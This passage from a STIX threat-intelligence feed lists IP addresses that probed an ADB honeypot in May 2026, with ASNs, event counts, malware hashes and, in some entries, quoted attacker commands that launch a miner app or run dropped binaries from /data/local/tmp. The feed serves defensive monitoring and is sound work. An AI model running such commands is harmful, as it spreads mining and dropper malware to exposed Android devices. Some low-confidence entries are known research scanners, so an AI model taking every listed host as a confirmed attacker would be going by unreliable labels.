        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 62,
          "first_seen": "2026-05-30T14:43:52.000Z",
          "last_seen": "2026-05-30T14:56:58.658Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ],
          "related_hashes": [
            "608ee011537005f368c9731f4c4dee6a247b620cde52908ed0678df28c617971",
            "7a48c93c5cb63a09505a009260d1cca8203285e0c1c6ff5b0df9cbb470820865",
            "d4e8c642ac8485d2ac316f16b5ed2285c93734c62a3e1bc2852a49f3737053c5",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-30T17:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=BG; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=18 | first_seen=2026-05-30T16:42:22.000Z | last_seen=2026-05-31T18:40:31.533Z | ports=5555 | cc=BG | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
      "id": "indicator--a2b94e5e-ee55-400e-9f2a-1987120df655",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.109.200.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T17:00:02.000Z",
      "valid_until": "2026-07-01T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 18,
          "first_seen": "2026-05-30T16:42:22.000Z",
          "last_seen": "2026-05-31T18:40:31.533Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BG"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-30T22:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=36; ports=5555; cc=CN; asn=9808; asn_org=China Mobile Communications Group Co., Ltd.; adb_cmd_hits=0; cmd=\"am start -n com.ufo.miner/com.example.test.MainActivity\"\n\nObserved in ADBHoney telemetry for 2026-05. events=52 | first_seen=2026-05-30T21:58:55.000Z | last_seen=2026-05-30T22:10:51.637Z | ports=5555 | cc=CN | asn=9808 | org=China Mobile Communications Group Co., Ltd. | related_hashes=76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--ffd3765a-2bc8-4d1a-a303-15dfcb04ab4a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '120.237.40.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T22:00:03.000Z",
      "valid_until": "2026-07-01T22:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 52,
          "first_seen": "2026-05-30T21:58:55.000Z",
          "last_seen": "2026-05-30T22:10:51.637Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "9808"
          ],
          "org": [
            "China Mobile Communications Group Co., Ltd."
          ],
          "related_hashes": [
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-31T00:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=26; ports=5555; cc=US; asn=8075; asn_org=Microsoft Corporation; cats=Detection of a Network Scan; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=26 | first_seen=2026-05-30T23:06:30.000Z | last_seen=2026-05-30T23:17:27.722Z | ports=5555 | cc=US | asn=8075 | org=Microsoft Corporation",
      "id": "indicator--f3494072-9c5d-4b0b-a64c-666b9d1a2b5b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.169.49.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T00:00:02.000Z",
      "valid_until": "2026-07-02T00:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 26,
          "first_seen": "2026-05-30T23:06:30.000Z",
          "last_seen": "2026-05-30T23:17:27.722Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "8075"
          ],
          "org": [
            "Microsoft Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-31T00:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=KR; asn=4766; asn_org=Korea Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=13 | first_seen=2026-05-30T23:08:10.000Z | last_seen=2026-05-30T23:18:20.526Z | ports=5555 | cc=KR | asn=4766 | org=Korea Telecom",
      "id": "indicator--2e87bfe1-b5a0-43e9-9460-42cd7456a2eb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '211.195.251.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T00:00:02.000Z",
      "valid_until": "2026-07-02T00:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 13,
          "first_seen": "2026-05-30T23:08:10.000Z",
          "last_seen": "2026-05-30T23:18:20.526Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "4766"
          ],
          "org": [
            "Korea Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-31T01:00:08.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=398705; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-31T00:10:02.000Z | last_seen=2026-05-31T00:11:42.373Z | ports=5555 | cc=US | asn=398705 | org=Censys, Inc.",
      "id": "indicator--6fe71f13-3646-4bfb-9e4d-23e0adcc255b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '167.94.145.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T01:00:08.000Z",
      "valid_until": "2026-07-02T01:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-31T00:10:02.000Z",
          "last_seen": "2026-05-31T00:11:42.373Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398705"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-31T01:00:08.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=8 | first_seen=2026-05-31T00:32:40.000Z | last_seen=2026-05-31T00:34:07.110Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--9cf74dc2-98df-4ac7-965b-2681002e11f9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T01:00:08.000Z",
      "valid_until": "2026-07-02T01:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 8,
          "first_seen": "2026-05-31T00:32:40.000Z",
          "last_seen": "2026-05-31T00:34:07.110Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-31T04:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=215925; asn_org=Vpsvault.host Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-31T03:09:38.000Z | last_seen=2026-05-31T03:10:46.712Z | ports=5555 | cc=US | asn=215925 | org=Vpsvault.host Ltd",
      "id": "indicator--3ea50876-98e3-46e1-b967-398d5299b906",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.198.224.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T04:00:03.000Z",
      "valid_until": "2026-07-02T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-31T03:09:38.000Z",
          "last_seen": "2026-05-31T03:10:46.712Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "215925"
          ],
          "org": [
            "Vpsvault.host Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-31T04:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=11; ports=5555; cc=PK; asn=9541; asn_org=Cyber Internet Services Pvt Ltd.; cats=Attempted Administrator Privilege Gain; adb_cmd_hits=1\n\nObserved in ADBHoney telemetry for 2026-05. events=11 | first_seen=2026-05-31T03:18:11.000Z | last_seen=2026-05-31T03:28:26.669Z | ports=5555 | cc=PK | asn=9541 | org=Cyber Internet Services Pvt Ltd.",
      "id": "indicator--787f18a0-6860-4bc1-af1a-12cdd210f36b",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '72.255.19.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T04:00:03.000Z",
      "valid_until": "2026-07-02T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 11,
          "first_seen": "2026-05-31T03:18:11.000Z",
          "last_seen": "2026-05-31T03:28:26.669Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PK"
          ],
          "asn": [
            "9541"
          ],
          "org": [
            "Cyber Internet Services Pvt Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-31T05:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=6 | first_seen=2026-05-31T04:41:03.000Z | last_seen=2026-05-31T04:42:04.937Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--14ca4a48-be88-4b5f-bdcb-8dbaaf791b4b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '134.199.214.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T05:00:03.000Z",
      "valid_until": "2026-07-02T05:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 6,
          "first_seen": "2026-05-31T04:41:03.000Z",
          "last_seen": "2026-05-31T04:42:04.937Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-31T07:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=18; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=22 | first_seen=2026-05-31T06:56:06.000Z | last_seen=2026-05-31T07:07:26.797Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--fe695f2d-a143-4d53-9ff5-cda847ef5901",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T07:00:03.000Z",
      "valid_until": "2026-07-02T07:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 22,
          "first_seen": "2026-05-31T06:56:06.000Z",
          "last_seen": "2026-05-31T07:07:26.797Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-31T09:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=54; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; cats=Generic Protocol Command Decode; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-05. events=59 | first_seen=2026-05-31T08:51:28.000Z | last_seen=2026-05-31T09:09:00.435Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--517c1d7c-5212-42df-947d-c0c6e715f852",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '27.225.16.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T09:00:02.000Z",
      "valid_until": "2026-07-02T09:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 59,
          "first_seen": "2026-05-31T08:51:28.000Z",
          "last_seen": "2026-05-31T09:09:00.435Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-31T09:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-31T08:45:22.000Z | last_seen=2026-05-31T08:46:27.785Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--125840d7-9d92-4986-b0cb-f4c1b7451f76",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T09:00:02.000Z",
      "valid_until": "2026-07-02T09:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-31T08:45:22.000Z",
          "last_seen": "2026-05-31T08:46:27.785Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-31T13:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=61; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/log\"\n\nObserved in ADBHoney telemetry for 2026-05. events=61 | first_seen=2026-05-31T12:24:37.000Z | last_seen=2026-05-31T12:37:33.319Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone | related_hashes=608ee011537005f368c9731f4c4dee6a247b620cde52908ed0678df28c617971,7a48c93c5cb63a09505a009260d1cca8203285e0c1c6ff5b0df9cbb470820865,d4e8c642ac8485d2ac316f16b5ed2285c93734c62a3e1bc2852a49f3737053c5,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--be55f09a-205f-497f-9b65-1a9cddd8bfa3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '58.240.250.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T13:00:02.000Z",
      "valid_until": "2026-07-02T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 61,
          "first_seen": "2026-05-31T12:24:37.000Z",
          "last_seen": "2026-05-31T12:37:33.319Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ],
          "related_hashes": [
            "608ee011537005f368c9731f4c4dee6a247b620cde52908ed0678df28c617971",
            "7a48c93c5cb63a09505a009260d1cca8203285e0c1c6ff5b0df9cbb470820865",
            "d4e8c642ac8485d2ac316f16b5ed2285c93734c62a3e1bc2852a49f3737053c5",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-31T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-31T13:37:15.000Z | last_seen=2026-05-31T13:38:17.123Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--f872dad0-1e4b-4a69-abaa-5ecfc2e66cf9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T14:00:02.000Z",
      "valid_until": "2026-07-02T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-31T13:37:15.000Z",
          "last_seen": "2026-05-31T13:38:17.123Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-31T17:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=HK; asn=9304; asn_org=HGC Global Communications Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=13 | first_seen=2026-05-31T16:14:27.000Z | last_seen=2026-05-31T16:24:38.052Z | ports=5555 | cc=HK | asn=9304 | org=HGC Global Communications Limited",
      "id": "indicator--9ebb2105-2ce0-40e6-8934-4b01d8b2759a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
